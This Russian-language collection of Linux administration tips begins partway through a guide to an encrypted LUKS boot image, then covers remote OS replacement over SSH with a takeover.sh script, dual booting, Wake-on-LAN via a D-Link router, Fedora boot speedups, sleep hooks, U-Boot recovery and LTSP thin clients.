    определяем имя созданного устройства (/dev/loopN), в дальнейшем используем
    переменную $l вместо устройства
    
       l=($(losetup -l|grep disk.img)) 
    
    создаём раздел с EFI, используем VFAT
    
       mkfs.vfat ${l}p1
    
    определяем UUID раздела EFI
    
       blkid ${l}p1  
    
    создаём шифрованный раздел, в процессе задаём временный пароль для расшифровки
    
       cryptsetup --type luks1 luksFormat ${l}p2 
    
    определяем UUID шифрованного раздела
    
       blkid ${l}p2 
    
    активируем шифрованный раздел и создаём на нём ФС ext4
    
       cryptsetup luksOpen ${l}p2 cr_root
       mkfs.ext4 /dev/mapper/cr_root
    
    монтируем раздел, копируем в него содержимое tar-архива с начинкой корневого
    раздела и создаём каталоги для точек монтирования /run, /sys, /proc и /dev.
    
       mount /dev/mapper/cr_root /mnt
       tar -C /mnt -xpf vm_root.tar
       for m in run sys proc dev; do mount --bind /$m /mnt/$m; done
    
    входим в окружение созданного корневого раздела
    
       chroot /mnt
    
    В /etc/fstab определяем метку корневого раздела (/dev/disk/cr_root) и раздела  EFI (/boot/efi).
    
    Настраиваем и устанавливаем загрузчик GRUB (в некоторых дистрибутивах вместо
    /boot/grub используется /boot/grub2, а вместо префикса "grub" - "grub2-"):
    
      echo "GRUB_ENABLE_CRYPTODISK=y" >> /etc/default/grub
       mount /boot/efi
       grub-install --removable --target=x86_64-efi
       grub-mkconfig -o /boot/grub/grub.cfg
    
    Для систем с mkinitramfs (Debian) дополнительно нужно добавить параметры
    шифрованного раздела в /etc/crypttab:
    
       cr_root UUID=<uuid> luks none
    
    После чего пересоздаём образ ram-диска с компонентами для начальной загрузки. 
    
    
    Для систем с dracut требуется изменить настройки /etc/default/grub, указав в
    GRUB_CMDLINE_LINUX привязку rd.luks.uuid=<UUID>. Для дистрибутивов с SELinux
    также нужно обновить метки (relabel).
    
    Отмонтируем созданные в процессе подготовки образа разделы из /mnt и пытаемся
    загрузить образ, используя режим EFI. В процессе загрузки вводим заданный ранее
    временный пароль и проверяем работоспособность окружения.
    
    Заменяем временный пароль на ключ для быстрой загрузки и настраиваем ram-диск
    для его использования. Для образа, примонтированного через /dev/sda:
    
       dd if=/dev/urandom bs=1 count=33|base64 -w 0 > /etc/cryptsetup-keys.d/luks-<UUID>.key
       chmod 600 /etc/cryptsetup-keys.d/luks-<UUID>.key
       cryptsetup --key-slot 1 luksAddKey /dev/sda2 # первичный ключ для восстановления
       cryptsetup --key-slot 0 luksRemoveKey /dev/sda2 # удаляем временный ключ
       cryptsetup --key-slot 0 --iter-time 1 luksAddKey /dev/sda2 /etc/cryptsetup-keys.d/luks-<UUID>.key
    
    Указание опции "-w 0" в dd необходимо для того, чтобы исключить появление в
    пароле символа перевода строки.
    
    Для систем с mkinitramfs теперь нужно изменить настройки /etc/crypttab, указав
    путь к сгенерированному ключу:
    
       cr_root UUID=<UUID> /etc/cryptsetup-keys.d/luks-<UUID>.key luks
    
    Для систем с dracut необходимо добавить hook ключа в /etc/dracut.conf.d, а для
    Debian также потребуется указать маску определения файла с ключом:
    
    cryptodisk.conf 
       install_items+=" /etc/cryptsetup-keys.d/* "
    
       echo "KEYFILE_PATTERN=\"/etc/cryptsetup-keys.d/*\"" >>/etc/cryptsetup-initramfs/conf-hook
    
    Теперь можно перегенерировать образ RAM-диска начальной загрузки. После попытки
    загрузки пароль будет спрошен один раз только на стадии запуска GRUB и на
    последующих стадиях загрузки запрашиваться не будет.
    
     
    ----* Монтирование корневой ФС в RO-режиме при загрузке в свежих версиях Fedora (доп. ссылка 1)   Автор: Artem S. Tashkinov  [комментарии]
     
    Для монтирования корневой файловой системы (root) в  режиме только для чтения
    при загрузке в свежих версиях Fedora в опции ядра нужно добавить:
    
       rd.break=pre-mount init=/usr/bin/bash
    
    Просто указания передачи ядру параметров  "1 ro" недостаточно, так как systemd
    игнорирует "ro". Параметр "rd.break=pre-mount" прервёт процесс загрузки перед
    монтированием корневой ФС и позволит выполнить любые проверки ФС на стадии до монтирования.
    
     
    ----* Удалённая замена одного Linux-дистрибутива на другой по SSH (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для решения задачи полной переустановки Linux-дистрибутива на удалённом
    сервере, к которому имеется только доступ по SSH, подготовлен скрипт
    takeover.sh. Скрипт создаёт минималистичное рабочее окружение в памяти,
    состоящее из инструментария busybox и простейшего init-процесса. Подключившись
    по SSH к данному окружению можно провести переустановку с отмонтированием
    корневого раздела. В том числе можно выполнить операции полной очистки всех
    данных или переразбить дисковые разделы.
    
    Скрипт обеспечивает только создание окружения, непосредственно операции по
    переустановке выполняются вручную, после соединения к созданному окружению по
    SSH. Скрипт перемонтирует корневой раздел, но не трогает данные, поэтому в
    случае если что-то пошло не так и вручную не были произведены необратимые
    изменения для возврата к исходному состоянию достаточно перезагрузить сервер.
    После завершения установки новой ОС для выхода из созданного окружения и
    загрузки новой системы достаточно инициировать перезагрузку. Перед выполнением
    операции на реальном внешнем сервере рекомендуется провести тестовую
    переустановку с использованием виртуальной машины.
    
    Порядок операций:
    
    Создадим директорию с окружением для запуска скрипта (/takeover) и примонтируем
    к ней раздел tmpfs для хранения нового раздела в оперативной памяти:
    
       mount -t tmpfs none /takeover
    
    Скопируем в директорию рабочее окружение одного из минималистичных
    дистрибутивов для восстановления после сбоев, например,  SystemRescueCD.
    После копирования убедимся, что окружение работоспособно при помощи команды:
    
       chroot /takeover /bin/sh
    
    Скопируем в корень созданного окружения статически собранный вариант пакета 
    busybox (/takeover/busybox) и проверим его работоспособность:
    
       /takeover/busybox sh
    
    Скопируем в окружение скрипт takeover.sh и простейший init-процесс fakeinit,
    предварительно скомпилировав его из файла  fakeinit.c:
       
       gcc -static ./fakeinit.c -o ./fakeinit 
    
    
    Отключаем  по возможности все сервисы на переустанавливаемом сервере, убиваем
    процесс cron и завершаем работу http-сервера (скрипт по умолчанию открывает
    новый SSH-вход на 80 порту (на 22 порту пока висит старый SSH), поэтому важно,
    чтобы на этом порту не было обработчиков).
    
    Запускаем /takeover/takeover.sh и выполняем предложенные действия (задаём
    пароль входа и соглашаемся с продолжением выполнения операции). Далее заходим в
    новое окружение по SSH:
    
       ssh -p 80 root@my_host
    
    После входа удаляем все оставшиеся фоновые процессы старой системы и
    отмонтируем все разделы старой системы из директории /old_root, после чего
    отмонтируем корень старой системы (/old_root). Предварительно копируем в
    текущее окружение набор модулей ядра от старой системы /old_root/lib/modules,
    на случае если они понадобятся в процессе замены старой системы.
    
    
    Выполняем операции по замене системы, не забываем отмонтировать  дисковые
    разделы. После завершения работы  перезагужаем систему
    
       reboot -f 
    или
       echo b > /proc/sysrq-trigger
    
    
    Скрипт takeover.sh:
    
       #!/bin/sh
       set -e
    
       TO=/takeover
       OLD_TELINIT=/sbin/telinit
       PORT=80
    
       cd "$TO"
    
       if [ ! -e fakeinit ]; then
           ./busybox echo "Please compile fakeinit.c first"
           exit 1
       fi
    
       ./busybox echo "Please set a root password for sshd"
     
       ./busybox chroot . /bin/passwd
    
       ./busybox echo "Setting up target filesystem..."
       ./busybox rm -f etc/mtab
       ./busybox ln -s /proc/mounts etc/mtab
       ./busybox mkdir -p old_root
    
       ./busybox echo "Mounting pseudo-filesystems..."
       ./busybox mount -t tmpfs tmp tmp
       ./busybox mount -t proc proc proc
       ./busybox mount -t sysfs sys sys
       if ! ./busybox mount -t devtmpfs dev dev; then
           ./busybox mount -t tmpfs dev dev
           ./busybox cp -a /dev/* dev/
           ./busybox rm -rf dev/pts
           ./busybox mkdir dev/pts
       fi
       ./busybox mount -t devpts devpts dev/pts
    
       TTY="$(./busybox tty)"
    
       ./busybox echo "Checking and switching TTY..."
    
       exec <"$TO/$TTY" >"$TO/$TTY" 2>"$TO/$TTY"
    
       ./busybox echo "Type 'OK' to continue"
       ./busybox echo -n "> "
       read a
       if [ "$a" != "OK" ] ; then
           exit 1
       fi
    
       ./busybox echo "Preparing init..."
       ./busybox cp $OLD_TELINIT tmp/telinit
       ./busybox cat >tmp/init <<EOF
       #!${TO}/busybox sh
       exec <"${TO}/${TTY}" >"${TO}/${TTY}" 2>"${TO}/${TTY}"
       cd "${TO}"
       ./busybox echo "Init takeover successful"
       ./busybox echo "Pivoting root..."
       ./busybox pivot_root . old_root
       ./busybox echo "Chrooting and running init..."
       exec ./busybox chroot . /fakeinit
       EOF
       ./busybox chmod +x tmp/init
       
       ./busybox echo "Starting secondary sshd"
       
       ./busybox chroot . /usr/bin/ssh-keygen -A
       ./busybox chroot . /usr/sbin/sshd -p $PORT
    
       ./busybox echo "You should SSH into the secondary sshd now."
       ./busybox echo "Type OK to continue"
       ./busybox echo -n "> "
       read a
       if [ "$a" != "OK" ] ; then
           exit 1
       fi
    
       ./busybox echo "About to take over init. This script will now pause for a few seconds."
       ./busybox echo "If the takeover was successful, you will see output from the new init."
       ./busybox echo "You may then kill the remnants of this session and any remaining"
       ./busybox echo "processes from your new SSH session, and umount the old root filesystem."
    
       ./busybox mount --bind tmp /sbin
    
       ./tmp/telinit u
    
       ./busybox sleep 10
    
    
    
    init-процесс fakeinit.c
    
    
       #define _XOPEN_SOURCE 700
       #include <signal.h>
       #include <unistd.h>
       #include <sys/wait.h>
    
       int main()
       {
    	sigset_t set;
    	int status, i;
    
    	for (i = 0; i < 64; i++)
    		close(i);
    
    	if (getpid() != 1) return 1;
    
    	sigfillset(&set);
    	sigprocmask(SIG_BLOCK, &set, 0);
    
    	for (;;) wait(&status);
       }
    
     
    ----* Настройка двойной загрузки Ubuntu и Windows 10   Автор: Oleg Popov  [комментарии]
     
    Имеется ноутбук с SSD-накопителем (/dev/sdb) и жестким диском (/dev/sda). На
    SSD установлена ОС Windows 10.
    
    Задача: Разделить SSD на две части и установить во второй раздел Ubuntu,
    организовав двойную загрузку с Windows.
    
    Несмотря на кажущуюся простоту решения, имеется несколько важных подводных камней.
    
    1. Отключаем в BIOS UEFI Secure Boot и Fast Boot, загрузку с UEFI оставляем.
    
    2. Загружаемся в Windows, запускаем утилиту diskmgmt.msc, уменьшаем размер
    Windows-раздела на SSD и создаём все необходимые разделы, включая разбивку
    жесткого диска. Разделы создаём без ФС и привязки букв в режиме RAW. Это
    принципиально важный шаг, разбивку диска нужно делать именно в Windows, если
    разбить разделы во время установки Ubuntu, то первая же загрузка в Windows
    после установки Ubuntu повредит содержимое разделов Linux, так как Windows
    кэширует старые параметры разделов.
    
    3. Во время установки выбираем ручную разбивку диска, привязываем точки
    монтирования /, /home и т.п, устанавливаем флаг форматирования. Для раздела с
    файлами UEFI (обычно fat32-раздел вначале диска 100-200 Мб) явно устанавливаем
    тип "efi", если этого не сделать, то после установки будет выведена ошибка о
    невозможности установить загрузчик grub.
    
    4. Если в результате в загрузочном меню Grub присутствует только Ubuntu, а
    Windows не появился (в моём случае загрузчик Windows был на диске /dev/sdb1, а
    EFI-раздел с загрузчиком на /dev/sda1), то загрузившись в Ubuntu можно
    запустить утилиту  boot-repair, которая автоматизирует решение большинства
    проблем с загрузкой:
    
       sudo add-apt-repository ppa:yannubuntu/boot-repair
       sudo apt-get update
       sudo apt-get install boot-repair 
       sudo boot-repair
    
     
    ----* Пробуждение компьютера по сети с помощью D-Link DIR 300 (320) NRU   Автор: jPump  [комментарии]
     
    Задача: 
    
    Осуществить возможность пробуждения (Wake on Lan) из интернета удаленного
    компьютера, находящегося дома за роутером марки D-Link (DIR-300, DIR-320).
    
    Решение:
    
    Использование команды ip, имеющейся в стандартных сборках BusyBox'a в роутерах D-Link.
      
    Предисловие:
    
    Дома стоит роутер D-Link DIR-320/NRU ревизии B1, а до этого был DIR-300/NRU
    ревизии B5, для которых (на данный момент) нет альтернативных готовых прошивок
    (в том числе и горячо всеми любимой DD-WRT). На роутере стоит BusyBox 1.12.
    
    Проблема состояла в том, что встроенное в веб-интерфейс средство переброса
    пакетов не позволяют переадресацию в широковещательный канал - broadcast
    (x.x.x.255), а хитровыделанный D-Link обновляет arp-таблицу каждые 15-30
    секунд, так что непосредственно в выключенный длительное время компьютер Magic
    Packet тоже не перебросить. Тайваньские ребята решили отказаться от компиляции
    arp, sudo и прочих печенюшек в BusyBox, поскольку iptables тоже не позволяет
    POSTROUTING на широковещательный канал.
    
    Решение после недели напряженного поиска было найдено случайно на ныне
    почившем форуме сборки линукса для старых компьютеров под роутер.
    
    Пример:
    
    Для начала настройте BIOS вашей материнской платы (в разделе настроек питания
    есть пункт о пробуждении из выключенного состояния) и вашей сетевой карты (уже
    из операционной системы в свойствах карты). Для проверки выключите компьютер и
    посмотрите, если индикация сетевого разъема мигает, значит все в порядке.
    
    1. Подключаемся  telnet-ом к роутеру (логин и пароль те же, что и для веб-интерфейса):
    
       Dlink-Router login: admin
       Password:
       Welcome to
       	 _______          ___     __  ____   _  _   ___
       	|  ___  \\        |   |   |__||    \\ | || | /  /
       	| |   | ||  ___  |   |__  __ |     \\| || |/  /
       	| |___| || |___| |      ||  || |\\     ||     \\
       	|_______/        |______||__||_| \\____||_|\\___\\
       
       					 = Ebuilding Networks for People =
       
       
       
       BusyBox v1.12.1 (2011-05-13 14:42:48 MSD) built-in shell (ash)
       Enter 'help' for a list of built-in commands.
       
       #
       
    2. Если компьютер в данный момент присоединен к роутеру, то ищем его mac-адрес, набираем:
      
       # ip neigh show
    
       <Внешний_ip> dev eth2.5 lladdr 01:23:45:67:AB:CD DELAY   ! Внешний адрес
       192.168.0.50 dev br0 lladdr 11:22:33:44:55:66 REACHABLE  ! Настольный компьютер 
       192.168.0.90 dev br0 lladdr 77:88:99:00:AA:BB REACHABLE  ! Ноутбук
    
    3. Поскольку в данный момент уже уже есть запись для нашего mac-адреса, то мы
    не добавляем, а просто изменяем текущую:
      
       # ip neigh change 192.168.0.50 lladdr 11:22:33:44:55:66 nud permanent dev br0
       
    4. Смотрим результат, снова набираем:
      
       # ip neigh show
    
       <Внешний_ip> dev eth2.5 lladdr 01:23:45:67:AB:CD DELAY   ! Внешний адрес
       192.168.0.50 dev br0 lladdr 11:22:33:44:55:66 PERMANENT  ! Настольный компьютер 
       192.168.0.90 dev br0 lladdr 77:88:99:00:AA:BB REACHABLE  ! Ноутбук
      
    После этого уже заходим на веб-интерфейс нашего роутера и в разделе "межсетевой
    экран" в пункте "Виртуальные серверы" добавляем проброс 9 (или 7, в зависимости
    от вашей сетевой карты) порта роутера на порт ip вашего компьютера.
    
    Послесловие: 
    
    Совет: настройте через веб-интрефейс роутера DHCP для mac'а вашего компьютера
    статический IP (по умолчанию DIR-300(320)/NRU выдает их в диапазоне от
    192.168.0.2 - 192.168.0.100)
    
    Дополнительные ссылки:
    
  • Немного о линуксовых командах в пределах BusyBox: http://noted.org.ua/1727
  • Чуть подробнее про команду ip: http://linux-ip.net/html/tools-ip-neighbor.html
  • Для проверки работоспособности можно воспользоваться сайтом: http://wakeonlan.me/
  • Особая благодарность русскоязычному форуму D-Link'a, оказавшую неоценимую помощь и моральную поддержку: 1, 2, 3
  •  
    ----* Сокращение времени загрузки Fedora 17 c 15 до 3 секунд (доп. ссылка 1)   [комментарии]
     
    Изложенные в данной статье инструкции позволяют сократить до трёх секунд
    загрузку дистрибутива Fedora 17 с NetworkManager до экрана приглашения входа в
    систему от GDM. Указанная конфигурация опробована на ноутбуке Lenovo T420s
    (2x2x Intel Core i5-2540M CPU @ 2.60GHz) и SSD-накопителем Intel SSDSA2BW160G3L.
    
    1. Используем простейшую конфигурацию разбиения диска с загрузочным и рабочим
    разделами с файловой системой Ext4:
    
       sda1 ext4 /boot
       sda2 swap
       sda3 ext4 /
    
    После установки дистрибутива потребуется как минимум две перезагрузки для
    достижения оптимального времени загрузки из-за необходимости адаптации к
    загрузочной последовательности механизма readahead (вначале readahead собирает
    информацию о загружаемых программах и библиотеках, после чего начнёт разом
    загружать компоненты в кэш страниц памяти).
    
    Обновляем все пакеты, активируем prelink и устанавливаем пакет systemd-analyze:
    
       sudo yum update
       sudo /etc/cron.daily/prelink
       sudo yum install systemd-analyze
    
    
    После перезагрузки выполняем:
    
       sudo systemd-analyze
    
       Startup finished in 1413ms (kernel) + 2911ms (initramfs) + 10593ms (userspace) = 14918ms
    
    Как видим в штатном режиме дистрибутив загрузился за 15 секунд.
    
    Начинаем оптимизацию. 
    Отключаем initramfs - так как в ядро встроена поддержка файловой системы ext4,
    поэтому для монтирования корневого раздела не требуется загрузка дополнительных
    модулей ядра. В параметрах загрузки явно указываем имя корневого раздела (без
    UUID) и тип ФС. Содержимое /etc/grub2.cfg должно выглядеть примерно так:
    
       linux /vmlinuz-3.3.7-1.fc17.x86_64 root=/dev/sda3 rootfstype=ext4 quiet libahci.ignore_sss=1 raid=noautodetect
       # initrd /initramfs-3.3.7-1.fc17.x86_64.img
    
    Опции "raid=noautodetect" и "libahci.ignore_sss=1" позволяют ускорить время
    инициализации ядра из-за пропуска дополнительных проверок.
    
    После перезагрузки systemd-analyze показывает сокращение времени до 14684ms.
    Продолжаем оптимизацию.
    
    Так как на компьютере не используются  LVM, RAID и шифрование можно смело
    отключить все сервисы fedora-*storage*. Дополнительно можно отключить систему
    вывода заставки  plymouth, так как нам важнее скорость а не эстетическое
    наслаждение от ожидания завершения загрузки. Для отключения указанных сервисов
    следует использовать команду "systemctl mask", достоинство которой ещё и в том,
    что %post скрипт RPM в дальнейшем не включит сервис автоматически.
    
       cd /lib/systemd/system
       for i in fedora*storage* plymouth-*.* lvm2-monitor.* mdmonitor*.*; do sudo systemctl mask $i;done
    
    Одновременно отключим лишние SysV-скрипты  livesys, livesys-late и spice-vdagentd:
    
       for i in livesys livesys-late spice-vdagentd ; do sudo chkconfig $i off;done
    
    Перезагружаем систему и наблюдаем через systemd-analyze сокращение времени загрузки до 8197ms
    
    Далее переходим к экстремальным действиям и отключаем все сервисы, кроме
    NetworkManager, поэтому важно запомнить что именно было отключено, так как в
    результате будет получена система без почты, межсетевого экрана, системы
    печати, утилит abrt,  avahi, некоторых точек монтирования, rsyslog, irqbalance
    и защиты selinux.
    
       cd /lib/systemd/system
       for i in abrt*.service auditd.service avahi-daemon.* bluetooth.* dev-hugepages.mount dev-mqueue.mount \\
          fedora-configure.service fedora-loadmodules.service fedora-readonly.service ip6tables.service \\
          iptables.service irqbalance.service mcelog.service rsyslog.service sendmail.service sm-client.service \\
          sys-kernel-config.mount sys-kernel-debug.mount; do \\
        sudo systemctl mask $i; \\
       done
    
    Для отключения selinux правим  файл /etc/selinux/config и добавляем настройку
    "selinux=0" в строку с параметрами ядра. Настройки /etc/grub2.cfg принимают
    примерно такой вид:
    
       linux /vmlinuz-3.3.7-1.fc17.x86_64 root=/dev/sda3 rootfstype=ext4 libahci.ignore_sss=1 raid=noautodetect selinux=0
       #  initrd /initramfs-3.3.7-1.fc17.x86_64.img
    
    
    Перезагружаемся и наблюдаем по systemd-analyze сокращение загрузки до 2926ms.
    
    Но идеи по оптимизации пока не исчерпаны. Попробует выжать ещё времени через
    манипуляции с монтированием разделов. Переводим раздел /boot в режим
    "монтирование по требованию" и создаём раздел /tmp с использованием  tmpfs для
    сокращения нагрузки на диск в процессе загрузки. В результате /etc/fstab будет
    выглядеть следующим образом:
    
       /dev/sda3  /                       ext4    defaults        1 1
       /dev/sda1  /boot                   ext4    noauto,comment=systemd.automount     1 2
       /dev/sda2  swap                    swap    defaults        0 0
       tmpfs      /tmp                    tmpfs   defaults        0 0
    
    После перезагрузки systemd-analyze выдаёт 2769ms.
    
    Так как NetworkManager запускается также при старте программы входа в систему,
    можно отключить приводящую к загрузке  NetworkManagers зависимость на уровне
    multi-user, так как он всё равно будет параллельно запущен при запуске gdm,
    зависимость для которого остаётся.
    
       sudo rm /etc/systemd/system/multi-user.target.wants/NetworkManager.service
    
    Проверяем время загрузки - 2603ms.
    
    Для проверки насколько readahead влияет на время загрузки  для эксперимента
    временно выключим readahead:
    
       cd /lib/systemd/system   
       for i in *readahead*; do sudo systemctl mask $i;done
    
    После перезагрузки systemd-analyze показывает 2547ms. Но несмотря на сокращение
    времени загрузки до запуска экрана входа в систему, сам э
    кран визуально появляется с некоторой задержкой. Для того чтобы более точно
    оценить время загрузки воспользуемся секундомером.
    
       sudo dracut -f
    
    Время загрузки с readahead и возвращённым initramfs: 
    
       systemd-analyze 
       Startup finished in 803ms (kernel) + 2217ms (initramfs) + 1018ms (userspace) = 4039ms
    
    При сборке initramfs без plymouth и в режиме только хоста:
    
       sudo dracut -f -H -o plymouth
    
    получаем:
    
       systemd-analyze 
       Startup finished in 612ms (kernel) + 499ms (initramfs) + 1330ms (userspace) = 2443ms
    
    Следует иметь в виде,  что сервисы  отключенные через "systemctl mask" при
    необходимости  можно в любой момент вернуть командой "systemctl unmask".
    
     
    ----* Как в Ubuntu выполнить действие или остановить программу перед переходом в спящий режим (доп. ссылка 1)   [комментарии]
     
    Иногда следует перед выполнение перехода в спящий или ждущий режим выполнить
    какие-то действия, например, дождаться завершения какого-то процесса или
    принудительно завершить его.
    
    Например, в случае использования инструмента резервного копирования backintime
    при копировании данных по сети может наблюдаться проблема, вызванная тем, что
    backintime блокирует переход в спящий режим до завершения выполнения операции,
    но проверка на запуск backintime осуществляется уже после отключения сетевых
    интерфейсов, т.е. завершить копирование по сети уже невозможно, что приводит к
    сбою в работе backintime и невозможности перевести систему в спящий режим.
    
    
    В качестве решения проблемы можно создать простой скрипт, который на начальной
    стадии перехода в спящий режим дождется завершения выполнения программы.
    Создаем /etc/pm/sleep.d/01_backintime:
    
    
       #!/bin/bash
       # Arve Seljebu, may 2010
    
       # check if script parameter is hibernate or suspend
       case "${1}" in
         hibernate|suspend)
           # run loop as long as program /usr/bin/backintime is running
           while pgrep -f "/usr/bin/backintime "; do
             sleep 5
           done
         ;;
       esac
    
       # always exit cleanly
       exit 0
    
    
    Другой проблемой может стать необходимость отмонтирования вручную подключенных
    шифрованных или сетевых ФС, например, для отмонтирования encfs-разделов можно
    использовать скрипт /etc/pm/sleep.d/20_unmount_storage:
    
       #!/bin/bash
       #
       # Script which unmounts network storage before suspend and  hibernate.
       #
       # Arve Seljebu. May 2011
     
       PATH=/sbin:/usr/sbin:/bin:/usr/bin
     
       # Which mountpoints we want to umount
       MOUNTPOINT[0]=/media/storage/encfs
       MOUNTPOINT[1]=/media/storage
       #MOUNTPOINT[2]=/media/storage2
       # User to run from (user who mounted them)
       USER=username
     
       if [ ! -x /bin/mountpoint ]; then
         echo "Did not find executable /bin/mounpoint"
         exit 0
       fi
     
       case "${1}" in
         hibernate|suspend)
           for i in "${MOUNTPOINT[@]}"
           do
           # check if the mountpoint is mounted
           echo "Checking if mountpoint $i is mounted..."
           sudo -u $USER mountpoint $i > /dev/null
           if [ "$?" == "0" ]; then
             # try to umount with fusermount, if not succsessful, try    with umount
             echo "Mountpoint $i mounted, umounting..."
             fusermount -u $i
             if [ "$?" != "0" ];
             then umount $i
             fi
           fi
         done
         echo "Done..."
         exit 0
         ;;
         resume|thaw)
         # nothing
         ;;
       esac
    
    
    По аналогии можно создать скрипты и для обработки других ситуаций.
    
     
    ----* Использование uBoot для восстановления поврежденной прошивки портативных устройств (доп. ссылка 1)   [обсудить]
     
    В большом числе основанных на Linux портативных устройств и встраиваемых систем
    (например, на телефонах на базе платформы Android), используется загрузчик
    uBoot, который можно использовать для экстренной загрузки прошивки, в случае
    мертвого зависания аппарата вследствие неудачной перепрошивки.
    
    При попытке загрузки с подключенной через последовательный порт консолью, в
    терминале можно увидеть примерно такую информацию:
    
       U-Boot 2010.03-01161-gd91b0a9 (Apr 22 2010 - 03:24:41)
       Marvell-GuruPlug
    
       SoC:   Kirkwood 88F6281_A0
       DRAM:  512 MB
       NAND:  512 MiB
       In:    serial
       Out:   serial
       Err:   serial
       Net:   egiga0, egiga1
       88E1121 Initialized on egiga0
       88E1121 Initialized on egiga1
       Hit any key to stop autoboot:  3 
    
    При нажатии любой клавиши процесс продолжения загрузки будет прерван и на
    экране появится приглашение для ввода команд:
    
       Marvell>> 
    
    Для просмотра переменных окружения загрузчика вводим команду printenv:
    
       Marvell>> printenv
       bootcmd=${x_bootcmd_usb}; ${x_bootcmd_kernel}; setenv
        bootargs ${x_bootargs} ${x_bootargs_root}; 
        bootm 0x6400000;
       bootdelay=3
       baudrate=115200
       x_bootcmd_usb=usb start
       x_bootcmd_kernel=nand read.e 0x6400000 0x100000 0x400000
       x_bootargs=console=ttyS0,115200
       x_bootargs_root=ubi.mtd=2 root=ubi0:rootfs rootfstype=ubifs
       ethaddr=02:50:43:16:d0:2b
       ethact=egiga0
       eth1addr=02:50:43:fb:31:71
       bootargs=rootwait
       stdin=serial
       stdout=serial
       stderr=serial
    
       Environment size: 441/131068 bytes
    
    и аккуратно сохраняем где-нибудь выведенные параметры, на всякий случай, чтобы
    в дальнейшем можно было вернуться к первоначальным настройкам.
    
    Изменение переменных окружения производится командой setenv, например,
    установим IP-адреса для встроенного Ethernet-адаптера:
    
       Marvell>> setenv ipaddr 192.168.1.55
       Marvell>> setenv serverip 192.168.1.1
       Marvell>> setenv netmask 255.255.255.0
    
    Для сохранения изменений во Flash-память необходимо использовать команду saveenv.
    
    Введя команду help можно посмотреть список доступных встроенных команд, а введя
    "help имя_команды", посмотреть краткую справку о заданной команде. Подробнее с
    командами uBoot можно познакомиться в этом или этом руководстве.
    
    Наша задача, организовать для оживления аппарата загрузку ядра и корневой ФС.
    Нам необходимо найти образ ядра (uImage), необходимых модулей с драйверами
    (modules.tar.gz), образ ram-диска (initrd) и корневой ФС (rootfs.tar.gz). Как
    правило  данные файлы можно выделить из распространяемых производителем
    обновлений прошивки или попытаться найти в сети, например, на сайтах
    http://plugcomputer.org/ или http://sheeva-with-linux.com.
    
    Некоторые типы устройств можно восстановить без лишних трудностей, например,
    для встраиваемых систем Ionics Stratus в uBoot предусмотрена специальная
    команда для быстрого восстановления прошивки через USB - достаточно скопировать
    на USB Flash файлы  uImage, modules.tar.gz, rootfs.tar.gz и initrd. После чего
    в приглашении uBoot набрать:
    
       run recover2
    
    Для других устройств, таких как Guruplug, восстановление немного сложнее.
    Копируем на USB Flash файлы uImage и modules.tar.gz, после чего в приглашении
    uBoot выполняем команды:
    
       usb start
       fatload usb 0 0x00800000 uImage
       nand erase clean 0x00100000 0x00400000
       nand write.e 0x00800000 0x00100000 0x00400000
       bootm 0x00800000 0x01100000
    
    После чего перезагружаем устройство, входим под пользователем root и
    распаковываем содержимое архива modules.tar.gz в корень:
    
       cd /
       tar xvf /mnt/modules.tar.gz
    
    uBoot также способен считать ядро и initrd с SD-карты или по сети, используя
    протокол tftp (tftp-сервер для большинства Linux-дистрибутивов представлен в
    пакете tftpd).
    
    Альтернативным путем восстановления работоспособности устройства является
    использование готовых инструментариев. Например, программа ESIA
    предоставляет удобный GUI-интерфейс для восстановления типовых устройств.  Для
    подключения необходимо установить свежую версию программы openocd, которая
    позволяет задействовать JTAG-интерфейс, подключившись к устройству через
    последовательный порт. Далее, нужно подгрузить драйвер ftdi_sio, указав
    корректный идентификатор устройства (можно посмотреть командой lsusb):
    
       sudo rmmod ftdi_sio
       sudo modprobe ftdi_sio vendor=0x1c0c product=0x0102
    
    Если программа ESIA не помогла, можно попробовать скрипты Sheevaplug Installer
    и GuruPlug Installer.
    
     
    ----* Использование LTSP для организации работы тонких клиентов (доп. ссылка 1) (доп. ссылка 2)   Автор: xenos88  [обсудить]
     
    Шаги по установке сервера LTSP (Linux Terminal Server Project) для обеспечения
    работы тонких клиентов, пример справедлив для свежеустановленного
    десктоп-варианта Ubuntu с GNOME:
    
    1) Установите ssh-сервер, который используется в LTSP для организации
    коммуникации между компьютерами:
    
       sudo apt-get install ssh
    
    2) Установите LTSP сервер: 
    
       sudo apt-get install ltsp-server-standalone
    
    3) Создайте конфигурационные файлы для тонких клиентов:
    
       sudo ltsp-build-client
    
    4) Установите поддержку сетевой файловой системы NFS: 
    
       sudo apt-get install nfs-kernel-server
    
    5) Установите TFTP-сервер: 
    
       sudo apt-get install tftpd-hpa
    
    6) Измените конфигурацию tftpd /etc/default/tftpd-hpa для работы в режиме
    "демона", изменив значение переменно RUN_DAEMON на RUN_DAEMON="yes".
    
    7) Измените конфигурационный файл экспорта NFS /etc/exports, путем добавления строчки:
    
       /opt/ltsp *(ro,no_root_squash,async,no_subtree_check)
    
    8) Отключите автоматическую загрузку tftpd в /etc/inetd.conf, закомментировав строку с tftp.
    
    9) Перезапустите сервисы NFS, inetd и tftpd: 
    
       sudo invoke-rc.d openbsd-inetd restart
       sudo invoke-rc.d nfs-kernel-server restart
       sudo invoke-rc.d tftpd-hpa restart
    
    10) Измените конфигурацию DHCP  /etc/ltsp/dhcpd.conf, например:
    
       authoritative;
       subnet 192.168.85.0 netmask 255.255.255.0 {
        range 192.168.85.70 192.168.85.230;
        option domain-name "office.digiton.ru";
        option domain-name-servers 212.48.193.37, 212.48.193.36;
        option broadcast-address 192.168.85.255;
        option routers 192.168.85.1;
        option subnet-mask 255.255.255.0;
        option root-path "/opt/ltsp/i386";
        if substring( option vendor-class-identifier, 0, 9 ) = "PXEClient" {
            filename "/ltsp/i386/pxelinux.0";
        } else {
            filename "/ltsp/i386/nbi.img";
        }
    }
    
    Подключаем файл конфигурации DHCP от LTSP к DHCP-серверу, в конец файла
    /etc/dhcp3/dhcpd.conf добавляем строку:
    
       include "/etc/ltsp/dhcpd.conf";
    
    Включите XDMCP (X Display Manager control protocol):
    
       sudo cp /usr/share/doc/gdm/examples/custom.conf /etc/gdm/
    
    После копирования добавьте в /etc/gdm/custom.conf:
       [xdmcp]
       Enable=true
       DisplaysPerHost=2 (может быть больше дисплеев зависит от количества мониторов на компьютер)
    
    11) Перезапустите GDM: 
    
       sudo restart gdm 
    
    
    12) Перезапустите dhcp: 
    
       sudo invoke-rc.d dhcp3-server restart
    
    13) Загрузите машины с тонкими клиентами, использовав сетевую загрузку PXE
    ("Preboot Execution Environment").
